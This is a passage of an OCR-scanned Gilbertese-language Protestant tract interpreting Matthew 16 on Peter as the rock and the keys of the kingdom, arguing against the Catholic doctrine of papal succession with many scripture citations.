te Baibara n te\ntaetae ni Buritan ba e a, boretiaki ni kanai, thou art Peter, and\nupon this rock I will build my Church.\nEn, te ba ni koaua bon onimakinan Iesu ba te Kristo, ae an\nana Ekaretia te Atua, ao Betero e inoanaki n te ba ae te atibu ba\ni bukin ana onimaki e a riki ni buokanibai n te korakora ao te\nnene ae ana bai te ba. E a riki ni korakora ma n nene like e a\ntia n onimakina Iesu, ao e a riki ba kaiia te moan atibu n te mane-\naba, ae te atibu ae ana, ae kaweneaki i aon te ba ma n nim ma\nnaia. E a nene Betero i aoni Kristo like e a onimakinna. Ma e\naki kona Betero n onea mwiii lesu Kristo ba an te Ekaretia.. E\nkoaua, e a ananaki arana ba te atibu, ma bon iai te mamara ae\nnikirana i rouna, aoekona naba ni mwemwe. Ai ti tabeboii i mwii?\nana taeka Iesu aei nakoni Betero, ao Betero e a bati ni kairua, n\nana iano, ao lesu E a boaia n ai aron are e a kaotaki n te kibu 23,\nn te makoro naba aei, ae kanai: Ao e rairaki (Iesu), aoetaxu nakoni\nBetero, Nako akuu Tatan: kabakau nakon te buakaka nkoe : ba tiaki. aron\nlianon te Atua nanom, ma ai aron nanoia aomata.\nEli, bon ti te aomata Betero, ao e kona ni kairua ana iano. Ao\ntiaki ti naia, ba ti ata Betero ba boni naia are e a kakewea ana\nUea nke E a kume ni motikaki taekana.. Bon iai nikiran te tano\nirouni Betero, ao e kona ni mweinwe. Ai kawa ra te ekaretia are\nkateaki i aoni Betero, ae te aomata n ti naia, ba e 11a mwemwe naba !\nMa i bukin ana uanoaiia lesu nakoni Betero, ao E a kabara\nburena anne, ao E a mana, kateimatoa ana onimaki, ao i mwini mana\nutiii lesu ao i mwini Bonin te Bentekota, ao e a tia Betero ni\nkakoaua arana ba te atibu. E a riki n nanoinaka Betero ni kaotioti\ni bukin Iesu, ao e a kakoaua arana ba te atibu teuana are an ana\nEkaretia lesu.\nMa e a rine Betero n aei ba boni naia are e a rimoa ni\nkaota kakoauan Iesu ba te Kristo, ao i bukin arona ae nano-\nmaka ni kaotioti i bukin Iesu, ao tiaki i bukin te nakoa teuana,\nba bon akea nakoana ae okoro man nakoaia raona aika Tan\nTuatua.\nIesu Kristo E a. tia ni kanakoia tan tuatua ni bane ba a 11a\ntataekina te Euankerio, ao E aiiania naia tenauni ma t.emanna (i\nmwini maten Iuta I-Tekariota), te nakoa ae ti te arona, n ai aron\nare e a kaotaki n Ioane 20 : 22-23, ae kanaiAo nke E a tian atona\naei (lesu), ao E ikeike nako aoia, ao E taku nako ia, Kain na ananaki te\nTamnei are Raoiroi: nkana iai akana kam kabara aia bure, ao a boni\nkabaraki mai rouia : nkana iai akana kam aki kabara aia bure. ao a aki\nkabaraki.\nNorin, a bane tan tuatua n ananaki te tau-taeka i nanon [Jean\nKristo, ao tiaki ti Betero; akea boiian aia taeka bobe ae a taku ba\nti Betero are e a mwiokoaki irouni Kristo. Ao bon akea nakoaia\nbobe mnirouni Kristo are a rine iai nakoia ana minita Kristo aika\na weteaki i Rouna ba tan tuatua ao tani katei ana Ekaretia i aonaba.\nBa norin, akea nakoani Betero i buakoia tan tuatua ae ai aron\nliakoan te bobe ni bon aikni. E aki rineaki ti Betero ba te tia taua\ntaekan ana Ekaretia Kristo. Nkana ti ware ware n ronoronoia tan\ntuatua n te bold ae Aia Makuri Tan Tuatua ao ti noria ba e a,\nkabureakiBetero irouia tan tuatua i bukin arona nakoni Korenerio\nma raona, ao e a weteaki Betero ba e na. tei i ma tan aia botaki ma ni\nkaota taekana. (Makuri 11: 1-4). Ao like e a, karaoaki Kabowin te\nEkaretia ae Kakanato i Ierutarem, bon tiaki Betero are e rineaki ba\nmataniwln te Kabowi n te Ekaretia., ma bon Iakobo are e a matani-\nwina te Kabowi ae kakanato arei, ao are e a onora n ana kaotioti\n6\nBetero ma Bauro ao Bareuaba ao raoia tabeman. Ao bon lakobo,\nao tiaki Betero, are e a kaota motin te Kabowi arei. (Nora Makuri\n15 : 1-29, tara kibu 13).\nAo Bauro e kaota aron nakoana ni kanai Ba I taku ba 1\nbon aki manori riki teutana nakoia tan tuatua ake moan te kakanato.\n(II. I-Korinto 11: 5). Ao n te tain a e a kabureaki Betero irouni\nBauro. Nora I-Karatia 2 : 11, are kanai:- Ao nke e a roko Keba\n{are Betero) i Antioka, ao I tei l mat-ana n ekia nako, ba kioina nke e\nkabuakakaki. Ba nke a tuai n roko tabeman mairoun lakobo, ao e bon\namarake ma Tientaire: ao nke a roko, ao e kerikaki, ba e makuia ake a\nkorotobibiald. Ti noria nkanne ba akea nakoani Betero ae e a\nkarineaki iai i aoia tarina aika tan tuatua, ba e a ti i buobuoki ma\nnaia, ao n. tai tabetai e a manori riki nakoia tabeman.\nAo nkana ti nora ana moan reta Betero, makorona 5 ao kibuna 1,\nao ti ataia ba oin ana taeka Betero ba e ti buokanibai ma raona\naika unimanen te Ekaretia, ao akea nakoana n tau-t-aekai aoia, ba\ne kanai Ma naia ae I kani kaunaia unimane akana mena i buakomi,\niiai ae bon te unimane naba, ao te tia kaotiota marakini Kristo, ao te tia\nbuoka te neboaki are nan kaotaki ...\nEn, e a buokanibai Betero ma raona aika tan tuatua n te\nmakuri i bukini Kristo ma ana Ekaretia, ao akea nakoana ae ai\naron ae e kani bainna te bobe. Nkana iai te bai ae e rine iai\nBetero, ao e rine i bukina nke boni naia are e a moani kakukureia\nnanon lesu nke e kaota te onimaki ba bon te Kristo lesu, are Natin\nte Atua are maiu; ao nke e a nanomaka ni kakoaua lesu ba te\nKristo i mataia aomata i mwini Bonin te Bentekota. E a kairua\naia iano kain te Aro n Bom nkana a taku ba ti Betero ae an ana\nEkaretia lesu Kristo, ba nora ana taeka. Bauro nakoia Kristian i\nEbeto (I-Ebeto 2 :19-22) ae kanaiMa naia a e tiaki aomata ianena ilka-\nmi nkai, ao tiaki naba aomata aika kam maeka n iruvva, ma kam buoki abami ma\nKristian, ao ana utu naba te Atua nkami, ao kam kateaki i aon taiani\nboua ake tan tuatua maburabeti,aolesu Kristo naba teatibuae\nbouan te maninanina ae moan te kakanato ; are e bane ni kaborao-\naki te kateitei i Rouna, ao e rikirake n te maneaba ae tabu i nanon teUea;\nare kam kateaki naba i nanona ba nen te Atua ni maekai nanon te Tamnei.\nE koaua, like e a tiba kakoaua lesu Betero ba te Kristo Naia, ao\nE taetae lesu nakoni Betero, I taku nako im, ba Betero ae te atibu\nnkoe, ao N na katea au Ekaretia i aon te ba aei, ao te b'ai are E kani\nkaotia lesu boni bon an te onimaki, ba ai aron ana onimaki Timon\ne a onikia. ba Betero ae te atibu, ao E na katea ana. Ekaretia lesu\ni aoni Betero ae te tia kakoaua ao i aoia raona aika Kristian\naika uaia ni kakoaua ba te Kristo, ba aia onimaki ae kakoauana\ni rouia, bon te ba ae e na tei iai ana Ekaretia n roro nako.\nMa. naia ae ti taku ba Kristian aika a kakoaua lesu ba te\nKristo ma n onimakinna n ai aroni Betero, ac a riki n ai arona\nba atibu aika maiu aika nene aika an ana Ekaretia lesu Kristo,\nao a tei i aon te ba ni koaua are kakoauan. lesu ba te Kristo\nare Natin te Atua are maiu.\nBon te tia kakairi Betero i bukira. E a riki ba te tia kakairi\nU tan onimaki aika e a kateaki iai ana Ekaretia Kristo. Ae ai\n?\naron te petros* bon te atibu ae makoron te lpdrcC ae te ba, ao ai\naroni Betero naba, bon te tia kakairi naia, kaiia makoron te ba\nare te onimald ni Kristian ae kakoauan lesu are e tei iai te Ekare-\ntia. (Nora ana taeka Bauro I. Timoteo 1: 16.)\nE taku taman te ekaretia rimoa are Origen arana, nkana iai\niroum ana onimaki Betero, ao bon te atibu iikoe n ai arona.\nNkana ti urinia loane ao Bauro, ao Tetebano, ao Borikabo,\nao Aokatiten, ao Baterika ao Wilbered, ao Euteru, ao Wikiribi,\nao Ioane Anti, ao loane Nokite, ao loane Weteri, ao Tion Wiriam,\nao Beinam, ao Witemi, ao Eewintiton, ao Grenfell, aotan onimaki\naika maiti aika a, uaia ni kakoaua lesu ba te Kristo, ao aikaa uaia\nn ninikoria ma Betero ni kaota Iesu nakoia aomata, ao ti taku ba\na uaia n riki ba atibu aika main aika an ana Ekaretia lesu Kristo.\nTi a kukurei irouni Betero ao ti a kamoamoa bate Tia Tua-\ntua ae nanomaka i bukini Kristo. Ao ti taku ba i bukin ana oni-\nmaki ao e a riki ba te atibu teuana ae main ae e 11a kateaki iai ana\nEkaretia lesu Kristo. Ma ti aki kona ni kakoaua aia taeka bobe\nke kain te aro n Eom ba ti Betero are te ba are ante ekaretia, ba\ntiaki anne te koaua are ti noria n te Nu Tetemanti. Ao ai maiti ra\nriki te aki kona ni kakoaua aia taeka bobe ba boni liaia tani bonota\nmwini Betero n tana taekan ana Ekaretia Kristo, ba te taeka ni\nkani kamoamoaki ae te kainikatoua anne! Tao ti na mana ianoa\nriki te taeka anne n te kabarabara teuana. Ma aio te koaua are ti\na reireiaki iai n te Nu Tetemanti, ao are tia kakoaua ni mataniwin\nnanora, ba an ana Ekaretia bon lesu Kristo ae boni Naia, ao\ntiaki te aomata temanna; ao te ba are e a kateaki iai ana\nEkaretia lesu Kristo ma n nene iai bon te onimaki n ai aron\nana onimaki Betero, ao kakoauan lesu ba te Kristo are Natin\nte Atua are main; ao ba ti kona n riki ba atibu aika maiu\nnaira n ai aroni Betero ae te atibu, ma ni kaweneaki i aon te\nBa ni koaua are an ana Ekaretia Kristo nkana ti onimakina\nlesu ba te Kristo are Natin te Atua are maiu, are E a roko ba\nte Tia Kamaiu i bukira ao i bukia kain aonaba. Ma. naia ae\nnkana tao iai te tari temanna are e wareware n taeka. aikai are e\ntuai ni kakoaua x lesu Kristo ba ana Uea ao ana Tia Kamaiu,\nke are e a kabureaki naiiona lii katea ana. onimaki i aon te aomata\nao tiaki i aon lesu Kristo, ao ti a butia te tari arei ba e na tataro\nnakon te. Atua ba a na kaureaki matana, ba e 11a ata lesu Kristo\nba ana Tia Kamaiu 111a 11 onimakinna 11 ti Naia, ba bon ana taeka\nBetero are e a taetae nke e a kaonaki n te Tamilei are Kaoiroi, ao\nare ti a kakoaua naba, ba akea te kamaiu iroun temanna ; ba bon\nakea te ara teuana i ani karawa ae a ananaki aomata, ae ti konaki\nni kamaiuaki iai ba ti aei.\nTao a na buokaki tani wareware n atai baikai:-\n1. Nke e a boni kaokoro arani Betero ae Petros ao aran te\nba ba petra, ao maitia tani kabara nanon ana Taeka te Atua ake\nlikoa, a taku ba, tiaki te ba Betero.\n2. Te tama ae kain te Aro 11 Eom temanna ae aran a Launoy\nare e a tia 11 ukoukora nanon te taeka te ba ae taekan te kibu aei\nI\ns\nu\nR\ni\ns\nT\nO\nE kanai ana\ntaeka te Uea ae\nIeliova,\nNoria,Ikawenea\nte atibu i Tion\nba ana ; ae te\natibu ae a tia ni\nkataki, ae te ati-\nbu ae bouan te\nmaninanina ae\nkakawaki, ae te\nboua ae nene :\nane onimakinna\nao e 11a aki biri\nnako.\n(Itaia 28 : 16).\nAo kam kateaki ba kana\natibu aika main, ba\nte bata ae nen te Tainnei.\n(I. Betero 2 : 5).\nAna utu naba te Atua nkami,\nao kam kateaki i aon taiani boua ake tan tuatua ma burabeti, ao\nE S U K R I S T O\nnaba, are bouan te manifianifia. are moan te kakanato.\n(I-Ebeto 2: 20.)\nAo tebwi ma uoua atibun an nonon te kawa arei, ao a koreaki i\naon atibu aikai ara aika tebwi ma uoua aika araia tan tuatua ake\ntenauni ma uoman .... (Kaotioti 21 : 19).\nB A 1 I B BA ML T I T T B\nE N A 0 I RE A 0 A arc A are A\nT T K A R TO T M natin T M te U\nE E 0 N I RO Aa. A 0 A A 0 Kan- R\nR R B E B MA , ,i B Are- I N an- 0\n0 E 0 0 IO * p Q baio. 0 aian.\nA I\nE riki ni bou-\nan te manina-\nnina te atibu\nare a kaki tani\nkatei maneaba.\nBoni mairoun\nIeliova te baei :\nE kamimi i ma-\ntara.\ni\nE\nU\nE kaeka Timoni Betero ni kanai,\nBon te Kristo flkoe, are Natin te Atua are maiu.\nAo E kaeka lesu ni kanai: Ko a kabaia, Timon, are natin Iona, ba e aki\nkaota aei nako im te iriko ma te rara, ma E kaotia Tamau are i karawa. Ao\nI taku nako im ba Betero ae te atibu nkoe, ao\nN na katea au Ekaretia i aon te ba aei. (Mataio 16 : 16-18).\n(Areru 118 : 22,\n23. I. Betero\n2 : 3).\nBa e aki kona te aomata ni bairea ana teuana, ma ti are a tia ni baireaki are\nI E S U KRISTO.\n(I.. I-Korinto 3 : 11).\n10\nn aia iahotan rabakau iikoa aika aranaki ba Fathers, aika taman\nte Ekarethi, e a kaotia ni kahai\nTaman te Ekaretia. aika 17 a taku ba tao bon te ba Betero.\nTaman te Ekaretia aika 44 a taku ba ana kaotioti Betero are\nkakoauan lesu ba, te Kristo, bon te ba.\nTaman te Ekaretia aika, 16 a taku ba boni Kristo te ba.\nTaman te Ekaretia aika 8 a taku ba. Tan Tuatua ni kabaneia,\nbon te ba are e a kateaki te Ekaretia i aona.\n3. Ao tan rabakau aika tairi kabara. nanon ana taeka. te Atua\nni boh aikai, a nahi bane n iahoia ba like E taetae lesu nakoni\nBetero ba Keba h.aia (ae te atibu ke te ba), ao nanona ba e a buoka-\nnibai Betero ni matoatoau te ba. iikae e a onimakina lesu, ma ni\nkakoaua ba te Kristo; ao likana tao iai nanon te taeka anne ba e\nna. kateaki te Ekaretia i aoni Betero, ao tiaki nanona. ba e na kate-\naki i aoni Betero ae te aomata, ma i aoni Betero ae te Tin Kakoaua\nlesu ba te Kristo, kaha e na kateaki te. Ekaretia i aoni Betero ae\nte Tia. Kakoaua Kristo ma raona aika tan tuatua ao Kristian ni\nkabaneia aika a kakoaua lesu n ai aroni Betero. Ba E aki taku\nlesu nakoni Betero, I boni katea an Ekaretia i aom, ma E taku\nlesu N na katea au Ekaretia i aon te ba aei. Kaha e kahai nano-\nna, Nkai ko kakoauai, Betero, ao ko riki n arona te ba ae N na ka-\ntea an Ekaretia. i aona. Ba bon akea te nakoa ke te maka ae e\nahanaki Betero ae e a okoro iai man raona aketan tuatua. (Nora\nloane 20 :22-23; Mataio 19 :28; I-Ebeto 2 :20; Kaotioti 21:4.)\nWan te Btua.\nMataio 16 : 19. A\" na aTianiko kinin Uean, i.e Aiua: ao ane ko\nkabaea i aonaka ao e a mana kakaeaki naba i karawa : ao ane ko\nkabara i aonaba a,o e a mana kabarald naba i karaica.\nBon ana taeka lesu teuana aei are E a taetae nakon Timoni\nBetero like e a tiba, kaotaki irouni Betero onimakinan Ie.su i rouna\nba te Kristo, are Natin te Atua are maiu. N te kabarabara teuana\nti a tia. n nora nanon ana taeka lesu nakoni Betero n te tai naba\narei, are kahai, ba Betero ae te atibu nkoe, ao N na katea au Ekare-\ntia i aon te Va aei. Ao nkai ti na nora nanon te taeka aei, Ena\nananiko kinin Uean. te Atua . .\nAo e kahai oin nanon te kibu aei\nBetero ao ake a kakoaua lesu ba te Kristo n ai aroui\nBetero a ananaki te kona ni kauka mataroan Bean te\nAtua nakoia aomata, ao te kona ni kaeti taeka i nanon\nUean te Atua.\nNkana ti iahoia. raoi, ao ai antai ae kona ni kauka mataroan\nUean te Atua, ba ti te aomata are e a tia n rin iai boni haia ? Ao\nai antai ae kona n rin iai nako nanon Uean te Atua, ba ti te aomata\n11\nare e a kakoaua lesu ba te Kristo are Natin te Atua are maiu ?\nBa Kristo bon te Mataroa, ao onimakinani Kristo ao kakoauana i\nmataia aomata bon te aro aroti a. rin iai nako nanon Bean te Atua.\nAo nkana ti a tia n rin n te mataroa arei, ao ti kona ni kaota te\nkawai ma ni kauka te mataroa arei nakoia aomata ba a na rin iai\nnaia naba. Ma iiaia ae e a oti te koaua teuana are kanai\nI. Ake a kakoaua lesu ba te Eristo ae te Tia Kamaiu,\nao a ahanaki te kona ni kauka mataroan uean te Atua\nnakoia aomata, ba a kona ni kaotia ba boni Kristo te\nmataroa; ao onimakinana bon te aro are a kona n rin iai\nnako nanon Uean te Atua.\nAkea te mataroa teuana ae ti kona n rin iai nako nanon Uean\nte Atua ba ti iroun lesu Kristo, ao kakoauan lesu ba te Kristo are\nara Tia Kamaiu bon te aro ae ti a kona iai n rin .i Bouna. N ai\naron are e a kaotaki iroun lesu n loane 10 : 9, Boni Nai te maia-\nroa; fikana e rin te aomala iBou, ao e na kamaiuaki ... Ao mana\naio ana taeka lesu teuana are e kuneaki n te boki ni Kristian\nnikawaiBoni Nai mataroan te maiu; ane rin i Bou, ao e rin\nnako nanon te maiu.\nEli, e koaua ana taeka Betero iike e takuBon akea te ara\nteuana i ani karaiva ae a ananaki aomala, ae ti konaki ni kamaiuald\niai ba t-i aei. Ao aomata aika a tia ni kakoaua te ara arei, ao aika\na tia n rin n te mataroa arei, are lesu Kristo, ao a ata te mataroa\nnakon te Maiu. A ata te mataroa nako nanon Uean te Atua,\nao a kona nkanne ni kauka te mataroa arei nakoia raoia.\nE kona te bekan ni kauka mataroan Uean te Atua ke e aki ?\nE aki kona, ba e bon tuai n ataia naba uaia. Ao Kristian aika a\ntia. ni kakoaua lesu Kristo, ao aika a tia n rin i Bouna nako nanon\nUean te Atua, ao a bane ni mwiokoaki iroun lesu ba a na kauka\nmataroan Uean te Atua nakoia aomata, ba a,re E a tia lesu n tuania,\nKam na nako ni kakiritiania botanaornata ni kabaneia, ni babetitoi'a\nnako nanon a,ran te Tama ma te Nati ma te Tamnei are Baoiroi . .\nMataio 28: 19.\nAo tao a taku tabeman ni ka.nai, Ao nkana tao a mwiokoaki\nKristian aika bati n te aro aei, ao E aera lesu like E taetae nakoni\nBetero, Nna auaniko kinin Uean te Atua . ? E oti nkanne\nte koaua are te kauoua are kanai\nII. Nkai bon te moan aomata Betero ni kaota\nkakoauan lesu ba te Kristo, ao boni haia are e a moa n\nananaki te kona ni kauka mataroan Uean te Atua\nnakoia aomata.\nE boni koaua ba e a karineaki Betero iroun lesu nke E a tae-\ntae ni kahanne nako ilia. Ao e boil riai naba, ba e a rine Betero\nnke bon te moan reirei are e a kakoaua lesu. ba te Kristo. Ao\niikae e a tia ni kakoaua Kristo, ao e a bon rin i Bonn a nako nanon\nUean te Atua. Ao nkae e a rin, ao e a ananaki kinin Uean te Atua,\nkaiia e ananaki te kona ni kauka mataroan Uean te Atua nakoia\naomata ma ni kotea te kawai nakon te Maiu are aki toki. Ao e a\nboni kakoauaki ana taeka lesu nke e roko Bonin te Bentekota, ba\nboni Betero are e a rineaki ba te Tia Kabarabara n fce Bon arei, ao\n12\nare e a tia ni kaotiota lesu nakoia aomata ba te Kristo Naia, Are\naia Tia Kamaiu bain aonaba. Ao n te aro arei e a riki Betero ba\nte tia kauka mataroan Uean te Atua nakoia I-Iutaia, ba a maiti\naika teke nanoia n ana kaotioti fike e a raonaki ni makan Tamnein\nte Atua. Ba ti warekia n Aia Makuri Tan Tuatua 2 : 41, Ao ake\na kaki i nanoia ana taeka a babetitoald: ao a ikotaki nako ia n te boni\nnaba arei tao tenina te aomata.\nAo i in win arei ao boni Betero naba. are e a kauka mataroan\nUean te Atua nakoia Tientaire nke e a kaotiota lesu Kristo ma\nmateua ao mana-utina nakoni Korenerio ma raona i Ka.itareia.\nMakuri 10 : 34-48 ; 15 : (5-11.\nMa iikana ti wareware n ana taeka Betero, ao ti noria ba e aki\nkamoamoa i bon i rouna n ai aroia bobe tabeman rimwi, ba aonkoa\niai i rouna, n ti iiaia te maka ni kauka mataroan Uean te Atua. Ba\nBetero e a kaotiota lesu Kristo nakoia. aomata, ao e tuania ba a. na\nrairi nanoia ma ni kakoaua lesu ba te Kristo, ao a nan tiba rin n\nUean te Atua n onimakinani Kristo. En, e anani Betero te Uea\nkinin Uean te Atua n te aro aei, tiaki ba e na taua arona iai n ai\naroia bobe tabeman ake a kan tau aroia, ba aonkoa ti naia ake a\ntau kinin Uean te Atua, ao akea aika a, kona n rin iai ba ti i\nrouia ; ma e aiiani Betero te Uea kinin Uean te Atua, are te kona\nni kauka mata.roan te onimaki i mataia aoma.ta ba a, na onimakina\nKristo ma n rin i nanon Uean te Atua irouni Kristo. Ba. ti uriiia\nana taeka lesu are kaiiai, Boni Nai ie kawai, ao te koaua, ao te\nmain : akea one nako n te Tama, nkama e aki nako Ina i liou.\nloane 14 : (5. Akea te kin irouni Betero ke iroun te bobe tern anna\nare e kona ni kauka mataroan Uean te Atua teuana ba ti n te\nmataroa aei, ae lesu Kristo.\nAo te koaua teuana bon aei\nIII. Tiaki ti Betero are e ahanaki te maka aei, ae\nkinin Uean te Atua, ba a ananaki naba Tan Tuatua iroun\nlesu te nakoa ae ai aron nakoani Betero, ao a ananaki\nnaba ana reirei lesu ni kabaneia ake a kakoaua Kristo n\nai aroni Betero.\nTi. ataia ba a, bane ni mwiokoaki Tan Tuatua iroun lesu ba a\nna nako n aba ni kabane, n tataekina te Euankerio nakoia kain\naonaba ni kabaneia. Mareko 16 : 15. Ao iikana ti wareware\nMataio 18 : 18, ao ti nora ana taeka lesu nakoia ana. reirei ae\nkanai E koa:ua. ae I a tuaunkami ba akana kami kabae i aonaba\nao a na maila kaba.eaki i karawa ; ao akana kamikabara i aonaba\nao a na mana kabaraki i karaicad Ma, iiaia ae ti ataia ba e a moa\nn ananaki Betero te nakoa aei ba bukina, like boni iiaia te moan\nreirei ni kaota kakoauan lesu ba te Kristo ; ao rimwi a ananaki\nraona naba te nakoa arei like a tia ni kakoaua lesu ba te Kristo\nnaba,. E aki kamaunaki te nakoa are e ananaki Betero, ma a ka-\ntoaki n te nakoa ae ti te arona Tan Tuatua. Ti uriniia ba nke E a\ntia ni mana-uti lesu Kristo mai buakoia mate, ao E a tia ni kaoti\nnakoia ana reirei n te ru teuana. i Ierutareni. Ao E a taku lesu\nnako ia, E na mena te ran i round: I kanakoinkami n ai aron\n13\nTaman fike E Inaakomaiai.. Ao nke E a. ii.cc a atonaam, ao E ike-\nike nako aoia, ao E taka nako ia,, Kam na ana.naki te Tornnei are\nliaoiroi: tikana iai akana, kam kaba\/ra aia bare, ao a boni kmibaraki\nmai roaia : nkana iai akana- kam aki kabara aia bare, ao a aki kaba-\nrakik loane 20 : 23. E aki kakaokoroaki Betero, ba e i-buobuoki\nma raona n te tai arei. Ao nkann ti wareka ronorouon aiaMakuri\nTan Tuatua ao ti noria ba a i-buobuoki Betero ma raona ni\nkauka mataroan Uean te Atua nakoia aomata n te Bon\nare te Bentekobi, no tan tuatna a raona. Betero ni kaotiota Iesu\nKristo nakoia aomata. Boni Biribo ao tiaki Betero are e a kawa-\nnt te kawa are Tamarin, no are e a kauka mataroan Uean te Atua\nnakoia kain te kawa arei. Makuri 8 : 4-8. xAo a inaiti Kristian ake\na kamaeaki nako n te karawawataki are riki i bukin Tetebano, a\nnako n toki i Boinike, ao i Kubero, ao i Antioka, n taekina ana\ntaeka. te Atua nakoia raoia aika I-Iutaia. Makuri 11 : 19. Ao ti\nurifina ba antai ae rineaki ba te tia, kauka mataroau Bean te. Atua\nnakoia Tientaire ? Tiaki ba boni Bauro ? Ba E taku te Tainnei\nare Raoiroi nakoia Kain te Ekaretia are i Antioka, ni kanai, Kam\nna kaokoroa Barenaba ma Tamm ba an aomata nakon 1e maknri are\n1 wetei'a n.ako ini. Makuri 13 : 2. En, a, inaiti ake a. tana, kinin\nUean te Atua ni kauka mataroana, nakoia aomata. Ao tiaki Betero\nare e taku ba e a kaokoro nakoana ma nakoaia tan tuatua, ba e\ntaku n ana reta II. Betero 1:1, Timoni Betero, ae aim toro lesn\nKristo ao ana tia tuatua, nakoia akana e a reke i rouia te oniniaki ae\nkakawaki ae ti te arona ma ara onimaki, ae reke n ana raoiroi Atuara\nona ara Tia Kama in. are lesa Kristo: . . E bon a tai a Betero\nba a i-buobuoki ma iiaia n te oniniaki ao n te makuri raona aika.\nKristian. Ao tiaki mai rouna. ma, boni mairouia bo be aika a kani\nkamoamoaki, te iano ae kairua ba aonkoa iai makani Betero ke\nmakaia, bobe n tan kinin [Jean te Atua n ti naia. Bon tiaki !\nma. aio te koaua ae ti noria n te Nu Teteinanti, ao are e akakoau-\naki iroun te Tamnei are Raoiroi n ronoronon te Ekaretia, ae kaiiai\nIV. A i-buobuoki Betero ma raona ake tan onima-\nkina Kristo, n te nakoa aei, ae te kauka mataroan Uean\nte Atua nakoia aomata, ao n te kaeti taeka i nanona.\nA i buobuoki n te kaotiota Iesu Kristo nakoia aomata, ao a i\nbuobuoki naba ni kaeti taekani bain te Ekaretia. Ba ti ware ware\nii Aia Makuri Tan Tuatua, makoro 15, ba, nke e a karaoaki te\nkabowi n te Ekaretia ae kakanato i lerutarem, ao e niena iai Betero,\nao e a kaota nanona i matan te kabowi arei. Ma, bon Iakobo are e\na riki ba mataniwin te kabowi n te Ekaretia arei, ao tiaki Betero.\nAo ti a.taia naba. ba e aki kona Betero n tau-taeka i aoia raona ake\ntan tuatua,, (I-Kara. 2: 11), ma e ti i buobuoki ma, iiaia ni kaeti\ntaekani bain te Ekaretia.\nAo iai tan tuatua ake a. uaia ni kakanato ma Betero n te makuri\nni kauka. mataroan Uean te Atua nakoia aomata, ba. te Uea. E a\nkamanenaia. Bauro ma Barenaba ni kauka mataroan te onimaki\nnakoia. Tientaire aika maiti. Maku. 13 : 27. Ao tiaki ti iiaia, ba ai\nraaiti ra ana reirei Iesu Kristo n roro rimwi ake a rineaki iroun te\nUea ba Ana toro ni kamauena te kin ma ni kauka mataroan Uean\n14\nte Atua nakoia botanaomata liako Ai kawa ra naira like tao ti\nBetero are e taua te kin arei! Ba e a kamani mate Betero, ao e\naki kona ni mana kauka mataroan Uean te Atua nakoia aomata,\nma ti n te aro ae e a boiiana ana taeka ni kaotiota. Iesu ba te Kristo,\naika taeka aika a kawakinaki n te Nu Tetemanti. Ao akea ana kin\nare e kona n aiian te aomata ni bonota mwina; ba ti aki oiio te\ntaeka ni kamoamoa arei ba ti iroun te bobe i Bom te kin ae kinin\nUean te Atua ni karokoa tienture tabeua i mwini Betero. Ai kawa\nra aomata aika a manina n te taeka ni kamoamoa ae akea bonana\nn ai aron arei! Ba aio te koaua, ti Iesu Kristo bon te mataroa ae\nti kona n rin iai liakon Uean te Atua, ao ti rin iai n onimakinan\nIesu Kristo ma kakoauana ba ara Tia Kamaiu; ao ti a kairaki\nnakon te mataroa arei are e a kaukaki i matara, irouia Kristian\naika a tia ni kakoaua Iesu Kristo, ao aika a kakoroa bukin ana\ntaeka ni niwioko Iesu ba a na kakiritiania botanaomata jiako, ma\nn reireia bai ni kabane ake a reireiaki irouni Kristo. Nkana tao\nbon akea te bobe i Bom ma nkoa ni karokoa nkai, ao a bon uki i\nbukira mataroan Uean te Atua ba a kaukaki irouia Betero ao loane,\nao Biribo, ao Bauro, ao tan tataekina lesu Kristo n roro liako.\nAo te koaua teuana are ti riai n namakinna bon aei :-\nV. Te maka are e ananaki Betero ao are a ananaki\ntan tuatua ni bane irouni Kristo, tiaki te maka ni\nmotiki taekan tamneia aomata, ba ana bai- Kristo n ti\nMaia te maka arei, ma bon te maka ni kaeti taekani\nbain Uean te Atua.\nTiaki ana bai Betero te motiki taekan tamneia aomata; ao bon\ntiaki naba ana bai te bobe ke te aomata temanna. Boni Kristo n\nti Naia are e na motiki taekaia kain aonaba. Boni Kristo n ti Naia\nare E taua kinin te main ao kinin te mate. N ai aron are e a kao-\ntaki n Te Kaotioti 1 : 18 ^Te Moa Nai, ao te Kaitira, ao> Teuare\nMaiu Mai; ao I 'mate nkoa, ao noria, I a mana main n aki toki, ao bon\niai i Jtou kinin te mate ma kinin Eriti ao n Te Kaotioti 3:7:-\nTenure raoi.rois are koaua, are iai i Houna ana kin Tawita, are\nkaukia ao akea ae bonotia,, ao E bonotia, ao akea ae kaukia^ E kanai :\nI atai am makuri (noria, I kaki i maiam te mataroa ae uki, ao e aki\nkona temanna ni bonotia), ba bon iai korakoram teutana, ao ko taua au\ntaeka, ao ko aki kaakea arauT\nAo antai aei ae atonaki ba iai i Bouna te kin ? Tiaki Betero,\nma bon lesu Kristo, are mate nkoa, ao are E a mana maiu n te\nmaiu are akea tokina.\nAo tera nkanne te kin are e ananaki Betero ? E kai kaotaki\nnkana ti nora te taeka are reitaki ma taekani kinin Uean te Atua\nn te kibu naba aei, are e taku:- JV na aiianiko kinin Uean te Atua:\nao ane ko kahaea i aonaba ao e a mana kabaeaki naba i karawa; ao ane\nko kabara i aonaba ao e a maiia kabaraki naba i karawa.\nIai te katei irouia I-Iutaia ba nkana e a rineaki te aomata\ntemanna nakon te nakoa ae Te Tia Koroboki n te Tua n Ebera,\nao e a ananaki te kin teuana ba kanikinaean nakoana, ba e a ana-\nnaki te kona ni kauka ana Taeka te Atua nakoia aomata ba a na\nata te Atua ma ana Tua te Atua, ao a na maiu iai, Ao nkai e a\n15\nkaotaki nanoni Betero iroun te Atua ba e na ata Iesu ma ni kako-\naua ba te Kristo are Natin te Atua are Main, ao E iaku Iesu ba\nkana e a tau Betero nkai n ananaki te nakoa i nanon Uean te Atua\nae ai aron te nakoa irouia tani koroboki n te Tua. nikawai. Ala\nnaia. ae E taku lesu nakoni Betero, N na ananiko kinin Uean te\nAlma kana kanikinaean nakoana a.e te tia reirei ni kauka mataro-\nan Uean te Atua, nakoia aomata. Ena aki riki Betero n ai aroia\ntan reirei n te Tua, ake a boaki iroun lesu i bukina. nke a aki buo-\nkia aomata n ata te Atua. Ba E taku lesu nako ia 'A na reke\nkaimi, tan reirei n te tua! ba kam uota nako kinin, te aia.tai: kam aki\nrim ao kam tula a akana kan riii. Buka 11: 52. Ma e na riki\nBetero ba te tia kauka. mata roan Uean te Atua nakoia aomata, ba\nte Alataroa arei boni Kristo, ao kakoauani Kristo bon te rin iai i\nnanon Uean te Atua..\ni\\.o iai nabn muion tneka aikni, \"kabaea\" no 